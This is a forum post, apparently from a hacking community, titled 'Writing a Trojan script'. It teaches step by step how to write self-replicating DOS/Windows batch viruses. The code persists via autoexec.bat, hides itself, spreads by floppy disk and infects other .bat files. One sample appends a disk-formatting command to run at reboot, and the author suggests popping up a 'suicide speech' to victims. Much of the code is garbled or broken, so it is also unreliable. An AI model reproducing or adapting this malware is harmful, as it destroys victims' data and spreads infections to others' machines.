Welcome!

By registering with us, you'll be able to discuss, share and private message with other members of our community.

SignUp Now!

Writing a Trojan script

RedX

Administrator
Staff member
Joined
Nov 26, 2020
Messages
348
Let's create it in a regular text editor built into Windows. Such a virus will be called a BAT virus.

As I write the source code, I will explain what I'm talking about in curly brackets.

Code:
@Echo off {disallow displaying executable commands on the screen}

copy %0 c:virus.bat >nul {copy the file; prohibit displaying the command itself and the result of its action}

echo c:virus.bat»c:autoexec.bat {adding text to an existing file}

That's all!

Code:
@Echo off

copy %0 c:

echo c:

copy %0 a:run.

Thus, I added one line to the previous source code and the virus acquired a new ability: it can now infect other computers via a floppy disk.

Code:
@Echo off

copy %0 c:

attrib +h c:

echo c:

copy %0 a:run.bat >nul

Here, our source code is starting to take on the shape of a virus!

Code:
@Echo off

if exist c:virus.bat goto ski {checking if the file exists, …}

copy %0 c:virus.bat >nul

attrib +h c:virus.bat >nul

echo c:virus.bat»c:autoexec.bat

:ski {...if it exists, the program jumps to the :ski label}

copy %0 a:run.bat >nul

Added another "if exist" command. Now the virus will already check if this file exists, and if it does, then unnecessary commands will no longer be executed. It just copies itself to a floppy disk and that's it.

Now we are upgrading our virus to the end.

Code:
@echo off%[Meteor]% {displaying the text "Meteor»}

if ' %1=='In_ goto Meteo {if the %1 variable is equal to In, then go to the placemark «:Meteo»}

if exist c:Meteor.bat goto Meteor checking whether the Meteor file exists.bat, if yes, then go to the placemark «:Mete»}

if not exist %0 goto Met {if the file doesn't exist, then go to the "Met" label»}

find "Meteor"c:Meteor.bat {check if the meteor file is on yandex. disk. if not, copy it there}

attrib +h c:Meteor.bat {making the file hidden}

:Mete {placemark}

for %%t in (*.bat) do call c:Meteor In_ %%t {execute one command (call - allows you to call one batch file from another) for several parameters t} {i.e., the virus finds a file with the extension .bat, and infects it with the type command, appending itself to the found one .to the bat file}

goto Met {go to placemark}

:Meteo {placemark}

find "Meteor" nul {set the file value to 2 and prohibit displaying the command and its result on the screen}

if not errorlevel 1 goto Met {if there was no error (with code 1) in executing the previous command, then go to the placemark}

type c:Meteor.bat " %2 {append "self" to the found one .to the bat file}

:Met {placemark}

This can already be called a more or less full-fledged virus!

In order for a virus to become a virus, it must be saved with the BAT extension. Click "Save as", write for example virus.bat, and where you save it, the MS-DOS batch file will appear.

You can create other viruses based on this source code. Experiment, upgrade, and try to write your own virus. I will say by the way that using this source code, I made three more modifications from it. And this is not the limit! The possibilities are unlimited, it all depends on your imagination.

Here's another simple but interesting example:

Code:
@Echo off

Echo format C: /q » c:Autoexec.bat

Everything! Nothing special, right? This virus adds to autoexec.bat string format C: / q and when the computer is rebooted, the disk is quickly formatted :)

And here's another thing:

Code:
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.js

echo WSHShell.Popup ("WRITE ANYTHING HERE"); " %temp%mes.js

start %temp%mes.js

deltree /y %temp%mes.js

Add this script to your virus, instead of "WRITE ANYTHING HERE", write your own text (for example, a suicide speech for the user), and when the virus starts, a window will pop up with your message! Good luck.
 
Top Bottom